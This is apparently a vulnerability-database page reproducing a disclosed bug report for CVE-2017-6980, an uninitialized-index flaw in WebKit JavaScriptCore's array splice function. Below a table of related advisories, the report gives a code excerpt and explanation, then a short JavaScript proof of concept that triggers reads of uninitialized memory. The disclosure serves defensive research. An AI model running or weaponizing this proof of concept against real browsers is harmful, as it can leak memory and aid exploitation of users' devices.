| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| WebKit JSC - arrayProtoFuncSplice does not Initialize all Indices Exploit | 17 Jun 201700:00 | ā | zdt | |
| Apple iOS < 10.3.2 Multiple Vulnerabilities | 17 May 201700:00 | ā | nessus | |
| Safari < 10.1.1 Multiple Vulnerabilities | 18 May 201700:00 | ā | nessus | |
| Apple TV < 10.2.1 Multiple Vulnerabilities | 18 May 201700:00 | ā | nessus | |
| Apple TV < 10.2.1 Multiple Vulnerabilities | 17 May 201700:00 | ā | nessus | |
| Apple iOS < 10.3.2 Multiple Vulnerabilities | 18 May 201700:00 | ā | nessus | |
| GLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities | 8 Jun 201700:00 | ā | nessus | |
| macOS : Apple Safari < 10.1.1 Multiple Vulnerabilities | 23 May 201700:00 | ā | nessus | |
| Linux Distros Unpatched Vulnerability : CVE-2017-6980 | 24 Aug 202500:00 | ā | nessus | |
| About the security content of iOS 10.3.2 | 15 May 201700:00 | ā | apple |
`WebKit: JSC: arrayProtoFuncSplice doesn't initialize all indices.
CVE-2017-6980
Here's a snippet of arrayProtoFuncSplice.
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
...
result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
if (!result)
return JSValue::encode(throwOutOfMemoryError(exec, scope));
for (unsigned k = 0; k < actualDeleteCount; ++k) {
JSValue v = getProperty(exec, thisObj, k + actualStart);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
if (UNLIKELY(!v)) {
continue;
}
result->initializeIndex(vm, k, v);
}
...
}
|JSArray::tryCreateForInitializationPrivate| will return an uninitalized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.
PoC:
function gc() {
for (let i = 0; i < 0x10; i++)
new ArrayBuffer(0x1000000);
}
Array.prototype.__defineGetter__(0x1000, () => 1);
gc();
for (let i = 0; i < 0x100; i++) {
new Array(0x100).fill(1234.5678);
}
gc();
print(new Array(0x100).splice(0));
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
`
Data
Build on a solid foundation withĀ Vulners data
WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data
Api
Power your application withĀ Vulners API
The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access
App
Assess and manage vulnerabilities withĀ VulnersĀ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation